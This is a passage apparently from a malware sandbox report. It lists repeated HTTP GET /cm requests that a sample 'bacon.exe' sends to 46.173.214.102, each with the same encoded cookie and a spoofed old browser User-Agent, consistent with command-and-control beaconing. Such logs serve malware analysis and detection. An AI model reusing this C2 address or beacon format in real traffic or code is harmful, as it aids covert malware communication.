62	192.168.2.22	49224	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:58.684056997 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.22	49225	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:59.448628902 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.22	49226	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:00.197572947 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.22	49227	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:01.001804113 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.22	49228	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:01.759000063 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.22	49229	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:02.623879910 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.22	49230	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:03.333568096 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.22	49231	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:04.133446932 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.22	49232	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:04.895447016 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.22	49233	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:05.804275990 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.22	49234	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:06.554359913 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.22	49235	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:07.335064888 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.22	49236	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:08.060118914 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.22	49237	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:08.809201002 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.22	49238	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:09.557322979 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.22	49239	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:10.324944973 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.22	49240	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:11.072511911 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.22	49241	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:11.835294008 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.22	49242	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:12.595652103 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.22	49243	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:13.366276979 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.22	49244	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:14.112354994 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.22	49245	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:14.892595053 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.22	49246	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:15.641447067 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.22	49247	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:16.414381981 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.22	49248	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:17.170665979 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.22	49249	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:17.922548056 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.22	49250	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:18.717720985 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.22	49251	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:19.464903116 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.22	49252	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:20.227648973 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.22	49253	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:20.976442099 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.22	49254	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:21.725837946 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.22	49255	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:22.617104053 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.22	49256	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:23.363851070 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.22	49257	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:24.112550020 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.22	49258	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:24.906722069 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.22	49259	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:25.656866074 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.22	49260	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:26.437319040 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.22	49261	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:02:27.187208891 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.22	49262	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
